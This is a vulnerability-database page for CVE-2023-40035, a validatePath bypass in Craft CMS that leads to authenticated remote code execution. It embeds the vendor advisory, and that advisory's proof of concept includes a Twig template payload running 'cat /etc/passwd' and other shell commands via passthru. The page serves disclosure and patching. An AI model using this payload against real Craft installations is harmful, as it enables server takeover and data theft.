CVE-2023-40035
highpriority · track · 30EPSS 0.023 · 83 %ileEUUSEPSS · scored 2026-10-27
Craft is a CMS for creating custom digital experiences on the web and beyond. Bypassing the validatePath function can lead to potential remote code execution. This vulnerability can lead to malicious control of vulnerable systems and data exfiltrations. Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution). This issue has been patched in version 4.4.15 and version 3.8.15.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.6–7.2
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
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affected products (7)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-44wr-rmwq-3phwCraft CMS vulnerable to Remote Code Execution via validatePath bypass2023-08-21ghsa · osvUS
### Summary Bypassing the validatePath function can lead to potential Remote Code Execution (Post-authentication, ALLOW_ADMIN_CHANGES=true) ### Details In bootstrap.php, the SystemPaths path is set as below. ```php // Set the vendor path. By default assume that it's 4 levels up from here $vendorPath = $findConfigPath('--vendorPath', 'CRAFT_VENDOR_PATH') ?? dirname(__DIR__, 3); // Set the "project root" path that contains config/, storage/, etc. By default assume that it's up a level from vendor/. $rootPath = $findConfigPath('--basePath', 'CRAFT_BASE_PATH') ?? dirname($vendorPath); // By default the remaining directories will be in the base directory $dotenvPath = $findConfigPath('--dotenvPath', 'CRAFT_DOTENV_PATH') ?? "$rootPath/.env"; $configPath = $findConfigPath('--configPath', 'CRAFT_CONFIG_PATH') ?? "$rootPath/config"; $contentMigrationsPath = $findConfigPath('--contentMigrationsPath', 'CRAFT_CONTENT_MIGRATIONS_PATH') ?? "$rootPath/migrations"; $storagePath = $findConfigPath('--storagePath', 'CRAFT_STORAGE_PATH') ?? "$rootPath/storage"; $templatesPath = $findConfigPath('--templatesPath', 'CRAFT_TEMPLATES_PATH') ?? "$rootPath/templates"; $translationsPath = $findConfigPath('--translationsPath', 'CRAFT_TRANSLATIONS_PATH') ?? "$rootPath/translations"; $testsPath = $findConfigPath('--testsPath', 'CRAFT_TESTS_PATH') ?? "$rootPath/tests"; ``` Because paths are validated based on the /path1/path2 format, this can be bypassed using a file URI scheme such as file:///path1/path2. File scheme is supported in mkdir() ```php /** * @param string $attribute * @param array|null $params * @param InlineValidator $validator * @return void * @since 4.4.6 */ public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void { // Make sure it’s not within any of the system directories $path = FileHelper::absolutePath($this->getRootPath(), '/'); $systemDirs = Craft::$app->getPath()->getSystemPaths(); foreach ($systemDirs as $dir) { $dir = FileHelper::absolutePath($dir, '/'); if (str_starts_with("$path/", "$dir/")) { $validator->addError($this, $attribute, Craft::t('app', 'Local volumes cannot be located within system directories.')); break; } } } ``` ref. https://www.php.net/manual/en/wrappers.file.php ### PoC 1) Create a new filesystem. **Base Path: file:///var/www/html/templates**  2) Create a new asset volume. Asset Filesystem: local_bypass  3) Upload a ttml file with rce template code. Confirm poc.ttml file created in /var/www/html/templates ```twig {{'<pre>'}} {{1337*1337}} {{['cat /etc/passwd']|map('passthru')|join}} {{['id;pwd;ls -altr /']|map('passthru')|join}} ```   4) Create a new route. URI: * , Template: poc.ttml  5) Confirm RCE on arbitrary path ( /* )  #### PoC Env  ### Impact Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc. although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)
also known as (3)
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sources
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references (13)
External citations — patches, advisories, analysis.
- https://cxsecurity.com/cveshow/CVE-2023-40035/cnnvd
- https://github.com/craftcms/cms/commit/0bd33861abdc60c93209cff03eeee54504d3d3b5cnnvd
- https://github.com/craftcms/cms/releases/tag/3.8.15cnnvd
- https://github.com/craftcms/cms/releases/tag/4.4.15cnnvd
- https://github.com/craftcms/cms/security/advisories/GHSA-44wr-rmwq-3phwcnnvd
- https://github.com/craftcms/cms/commit/0bd33861abdc60c93209cff03eeee54504d3d3b5enisa_euvd
- https://github.com/craftcms/cms/releases/tag/3.8.15enisa_euvd
- https://github.com/craftcms/cms/releases/tag/4.4.15enisa_euvd
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